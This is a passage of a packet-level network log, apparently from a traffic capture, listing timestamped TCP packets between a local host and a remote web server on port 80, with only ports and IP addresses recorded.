Oct 7, 2024 07:15:00.942846060 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.947787046 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.947822094 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.947957039 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948023081 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948056936 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948091984 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948112965 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948179960 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948213100 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948236942 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948267937 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948314905 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948329926 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948369980 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948404074 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948436975 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948457956 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948548079 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948600054 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948637962 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948659897 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948690891 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948724031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948749065 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948782921 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948841095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.948942900 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.948997974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949033022 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949083090 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.949136019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949168921 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949202061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949249983 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949265003 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:00.949299097 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949340105 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949373960 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:00.949394941 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142091036 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142151117 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142203093 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142263889 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142314911 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142339945 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142395020 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142429113 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142450094 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142501116 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142534018 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142559052 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142590046 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142621040 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142669916 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142695904 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142729044 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142760992 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142781973 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142815113 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142848969 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142869949 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142901897 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.142968893 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.142991066 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143037081 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143083096 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143110991 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143142939 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143184900 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143201113 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143264055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143306017 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143330097 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143361092 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143436909 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143451929 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143486023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143533945 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143562078 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143596888 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143678904 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143723965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143757105 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143795967 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143817902 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143850088 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143883944 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.143903971 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.143978119 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144012928 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144052029 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144072056 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.144117117 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144150972 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144177914 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.144211054 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144246101 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144278049 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144303083 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.144335032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144412994 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144428015 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.144459963 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144515038 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144530058 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.144562960 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144597054 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144629955 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144649982 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.144681931 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144714117 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144750118 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144771099 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.144802094 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.144853115 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145030975 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145067930 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145117998 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145143986 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145176888 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145211935 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145235062 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145266056 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145312071 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145339966 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145426989 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145462036 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145484924 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145514965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145549059 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145577908 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145646095 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145708084 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145726919 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145761013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145793915 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145831108 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145853043 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145916939 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.145931959 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.145962954 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146013021 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146030903 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146065950 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146100044 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146120071 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146169901 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146203995 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146229982 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146260023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146311998 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146332026 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146363974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146395922 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146413088 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146450996 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146478891 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146506071 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146532059 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146589041 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146650076 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146682024 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146716118 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146750927 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146807909 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146838903 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146943092 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.146964073 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.146996021 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147043943 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147072077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147109032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147140980 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147164106 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147207022 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147241116 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147262096 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147291899 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147325039 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147346973 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147433043 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147465944 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147486925 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147548914 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147582054 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147614956 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147638083 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147667885 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147700071 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147747993 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147772074 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147804976 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147839069 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147860050 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147891045 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147923946 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.147948027 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.147981882 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.148017883 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.148041964 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.148077011 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.148109913 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.148130894 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.148161888 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.148195982 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.148242950 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.148258924 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.229813099 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.229885101 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.229933977 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.229991913 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230047941 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.230074883 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230110884 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230144024 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230170012 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.230202913 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230238914 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230259895 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.230312109 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230345964 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230366945 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.230398893 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230432034 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230452061 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.230484009 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230515957 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230549097 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.230576038 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230609894 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230629921 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.230660915 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230696917 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.230720043 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.343765974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.343801975 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.343846083 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.343913078 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.343947887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.343970060 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344016075 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344032049 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344044924 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344058037 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344065905 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344086885 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344139099 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344172955 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344208002 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344230890 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344263077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344304085 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344326019 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344356060 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344391108 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344414949 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344446898 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344492912 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344508886 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344541073 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344573975 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344609976 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344630957 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344686031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344717979 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344743013 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344794989 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344829082 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344861984 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344882965 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344918966 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.344969034 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.344991922 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345027924 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345060110 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345082998 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345134974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345169067 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345189095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345222950 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345282078 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345316887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345340014 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345371962 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345407963 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345434904 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345484972 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345520973 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345545053 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345576048 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345617056 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345626116 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345653057 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345685005 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345705986 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345736980 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345772028 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345793009 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345824003 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345873117 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.345901012 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345932961 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345968008 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.345988989 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346019983 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346052885 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346074104 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346107006 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346139908 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346159935 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346191883 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346236944 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346251965 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346302986 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346338034 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346358061 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346389055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346443892 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346463919 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346498013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346530914 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346553087 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346602917 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346640110 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346673012 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346702099 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346743107 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346764088 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346795082 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346828938 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346848965 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346879959 CEST	80	49174	38.240.41.28	192.168.2.22
